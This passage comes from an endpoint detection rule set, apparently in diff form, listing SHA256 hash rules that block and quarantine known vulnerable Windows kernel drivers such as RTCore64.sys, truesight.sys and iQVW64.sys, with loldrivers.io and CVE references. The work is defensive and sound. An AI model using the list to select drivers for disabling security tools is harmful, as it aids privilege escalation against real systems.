+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f4b14dd-30ae-5b7c-83a8-65a29f65bc88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981260Z",
+  "creation_date": "2026-03-23T11:45:29.981262Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981268Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7108613244f16c2279c3c917aa49cef8acf0b92fdaa9ace19bf5cf634360d727",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f50fb48-6e83-5807-b7d8-c0abd0fc36d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807696Z",
+  "creation_date": "2026-03-23T11:45:31.807698Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807703Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b1a16363471806fd07cbac03ae3a929fa508d165f381c50ee79d540ce94a9a4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f5532d8-407d-5833-b978-0dc63772040e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830168Z",
+  "creation_date": "2026-03-23T11:45:31.830170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29da9a13dabdb33a4693d67afb5a512d350c3a7de60fd93abf8880c55dde0e57",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f55ae57-a764-5f84-bb3f-377877f23a29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479015Z",
+  "creation_date": "2026-03-23T11:45:31.479019Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479029Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40bd99633a6b161cb5b9d3ba5e821e63a92839ae181a71b201bfe9d595010d63",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f560968-6744-57d7-ae25-483535ba0209",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452769Z",
+  "creation_date": "2026-03-23T11:45:30.452772Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452781Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb0742036c82709e02f25f98a9ff37c36a8c228bcaa98e40629fac8cde95b421",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f5eaaa9-fd72-5286-bbcc-d2bde250b2d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483961Z",
+  "creation_date": "2026-03-23T11:45:31.483965Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483974Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2751662b682d8283f3b271d70cd5a8f76c7560060af7587efc787d0331940fed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f6c8e0a-e3ca-5dec-8bed-9dc91ba326a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148625Z",
+  "creation_date": "2026-03-23T11:45:31.148627Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148632Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c3524fae1dcc6cf4c49e53ca87c38e116e2995acc0129ced0ca3d1691c9c135",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f753c5b-5f0a-53d3-9f77-0af8d0a23cf3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143206Z",
+  "creation_date": "2026-03-23T11:45:32.143208Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143213Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f6547e9823f94c5b94af1fb69a967c4902f72b6e0c783804835e6ce27f887b0",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f7a83da-48ac-5f8b-9582-a04352e7039d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622724Z",
+  "creation_date": "2026-03-23T11:45:29.622726Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622732Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb68552936a6b0a68fb53ce864a6387d2698332aac10a7adfdd5a48b97027ce3",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f8885a1-b372-5e69-bc49-a53da16a0550",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819446Z",
+  "creation_date": "2026-03-23T11:45:30.819449Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87b4c5b7f653b47c9c3bed833f4d65648db22481e9fc54aa4a8c6549fa31712b",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f8d7cab-3902-5fa4-8db3-9fe474e22899",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809926Z",
+  "creation_date": "2026-03-23T11:45:31.809930Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809938Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d911a3bddb038fc57677c138abdc490b707b86886765f2c6d31fce50481f52f8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f9f0197-c33f-5731-b4bd-9354f7936ca5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491735Z",
+  "creation_date": "2026-03-23T11:45:31.491738Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491746Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "435f57a97f28eca6fe5863aad3f365ec8fa65742576b5dbf9c0b853ca0e690e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4f9f8c53-58c1-563a-8725-918d6f5fdc07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608892Z",
+  "creation_date": "2026-03-23T11:45:29.608894Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608900Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79e3b14b68f1fcf805ccfe7bc2dc81b98346d2e83a6335816b276970e2e2691a",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fa594b3-616b-5842-bc94-2c920f8b330f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455788Z",
+  "creation_date": "2026-03-23T11:45:30.455791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455800Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c44b807e14e5da43a060cb36a83aa5b1e4b7b95620f9e41d289694f9daa8b77a",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fab0a1b-2cec-532a-a7f2-e480694c08ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813477Z",
+  "creation_date": "2026-03-23T11:45:31.813480Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813489Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "948c00a80392791ab7f28bb6ffa79032f2f3835748c8f4cacf23103d4826ff0f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fae4450-c2dc-5f9f-8fb3-fe88cd88d3ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972422Z",
+  "creation_date": "2026-03-23T11:45:29.972424Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972429Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcd4d4bee76aacba8792df291eb55cc716752bd7ddb51ecb9bec491b02f57c70",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fb9a891-b117-5654-9a9f-779015ad1fc3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822152Z",
+  "creation_date": "2026-03-23T11:45:30.822154Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822160Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a1d5ba96cde7e8485077763e34738bf9c2734c81440ecab82ff63606a50dfb2",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fc1c1e1-f7c3-5cbf-b05b-44db5062f96f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812729Z",
+  "creation_date": "2026-03-23T11:45:31.812732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812740Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6079447f59d41c7e67e24d4cf90e1f4b18090f3f8db689b430fee7a4ab661379",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fc4f610-2427-5618-913c-2bfd034b7535",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975735Z",
+  "creation_date": "2026-03-23T11:45:29.975737Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975742Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd1d579a15ec3c1120cc6e0c8ff6b265623980de3570a5dd2f57d0c5981334d8",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fcab462-89f6-5e29-ba56-6763655e83c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971228Z",
+  "creation_date": "2026-03-23T11:45:29.971231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971240Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c18ae965fba56d09a65770b4d8da54ccd7801f979d3ebd283397bc99646004b",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fcd6410-b307-5247-84e2-f03f83bbdedc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616329Z",
+  "creation_date": "2026-03-23T11:45:29.616331Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616337Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f60536b25ba8c9014e4a57d7a9a681bd3189fa414eea88c256d029750e15cae",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fd12092-f54b-5e8f-b004-2a1104dc74cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456048Z",
+  "creation_date": "2026-03-23T11:45:30.456051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456060Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "52b9302507bccd7eb775137a4c17b0df9a5a99671968c01924cd0c52a0c69262",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4fd13f91-490b-5df3-ace8-237b11078bfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
